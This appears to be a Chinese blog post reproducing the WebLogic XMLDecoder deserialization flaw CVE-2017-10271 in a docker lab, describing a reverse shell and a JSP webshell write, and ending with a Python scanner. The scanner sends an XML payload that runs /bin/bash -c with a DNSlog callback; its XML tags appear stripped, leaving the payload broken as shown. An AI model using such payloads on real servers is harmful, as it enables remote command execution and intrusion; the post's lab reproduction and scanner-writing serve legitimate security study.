代码改变世界

深入解析:Weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271)

2025-10-23 14:14  tlnshuju  阅读(8)  评论(0)    收藏  举报

前言

对 Weblogic 系列的相关漏洞进行复现,并编写相关漏洞的扫描器。

漏洞介绍

影响版本:Weblogic < 10.3.6

Weblogic 的 WLS Security 组件对外提供 webservice 服务,其中运用了 XMLDecoder 来解析用户传入的 XML 数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

环境搭建

启动测试环境:

docker compose up -d

等待一段时间,访问http://your-ip:7001/即可看到一个404页面,说明weblogic已成功启动。

访问:http://127.0.0.1:7001/wls-wsat/CoordinatorPortType出现如下页面证明存在漏洞

漏洞复现

发送如下数据包(注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误),访问发送数据包后状态码为500即证明反弹shell成功。

成功获取shell:

写入webshell,状态码为500

访问:http://127.0.0.1:7001/bea_wls_internal/test.jsp 出现如下页面即位写入成功

代码

import requests
payload_url = 'http://127.0.0.1:7001/'
check_url = 'wls-wsat/CoordinatorPortType'
def weblogic_cve_2017_10271(url):
    headers = {
        'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)',
        'Content-Type': 'text/xml'
    }
    payload = '''
    
        
            
                
                    
                        
                            
                                /bin/bash
                            
                            
                                -c
                            
                            
                                这里是在DNSlog.cn网站得到随机DNSlog地址
                            
                        
                        
                    
                
            
        
        
    
    '''
    response = requests.get(url+check_url, data=payload, headers=headers)
    if response.status_code == 500:
        print("漏洞存在")
    else:
        print("漏洞不存在")